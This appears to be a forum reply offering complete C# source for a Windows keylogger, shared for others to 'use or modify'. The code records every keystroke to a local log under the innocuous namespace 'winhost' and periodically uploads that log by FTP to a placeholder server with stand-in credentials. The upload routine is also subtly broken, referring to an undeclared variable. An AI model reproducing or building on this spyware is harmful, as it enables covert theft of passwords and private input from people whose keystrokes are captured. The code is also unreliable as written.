You pretty much nailed the only languages that run on the machine and thus have an ability to hook key strokes. That's functionality you wont get in say, a java virtual machine. Hooking is the only real way to get it done. Heres what i wrote in c# its easy and efficient, feel free to use or modify it.
Code
If you want something in C# that i made, take a look at this. Just compile it.
[code] /*
Copyright (C) 2015 Simba
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
*/
using System;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
using System.IO;
using System.Net;
using System.Text;
namespace winhost
{
class Program
{
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);
static void Main(string[] args)
{
StartLog();
}
public static void uploader()
{
/* Intialize communication with a ftp server */
FtpWebRequest request = (FtpWebRequest)WebRequest.Create("ftp://yoursiteorIP.xxx/data.log");
request.Method = WebRequestMethods.Ftp.UploadFile;
/* Replace with your credentials. */
request.Credentials = new NetworkCredential("User", "Pass");
/* Create Stream and Upload */
StreamReader sourceStream = new StreamReader("data.log");
byte[] fileInfo = Encoding.UTF8.GetBytes(sourceStream.ReadToEnd());
sourceStream.Close();
request.ContentLength = fileInfo.Length;
Stream requestStream = request.GetRequestStream();
requestStream.Write(fileContents, 0, fileContents.Length);
requestStream.Close();
}
static void StartLog()
{
/*Create or Find the log file */
String key;
int letterCount = 0;
int lineCount = 1;
string path = @"data.log";
while (true)
{
Thread.Sleep(0);
for (Int32 i = 0; i < 255; i++)
{
int keyState = GetAsyncKeyState(i);
if (keyState == 1 || keyState == -32767)
{
letterCount++;
key = ((Keys)i).ToString();
if (!File.Exists(path))
{
string createText = " " + key + Environment.NewLine;
File.WriteAllText(path, createText);
}
/* Formatting Checks */
string appendText = key;
if (key.Equals("Space"))
{
appendText = " ";
}
if (key.Equals("LButton") || key.Equals("RButton"))
{
appendText = "";
}
File.AppendAllText(path, appendText);
/* Prints 10 lines of 100 inputs before uploading */
if (letterCount % 100 == 0)
{
Console.WriteLine(letterCount);
string appendTxt = Environment.NewLine;
File.AppendAllText(path, appendTxt);
lineCount++;
if (lineCount % 10 == 0)
{
Console.WriteLine(lineCount);
uploader();
}
break;
}
}
}
}
}
}
}
[/code]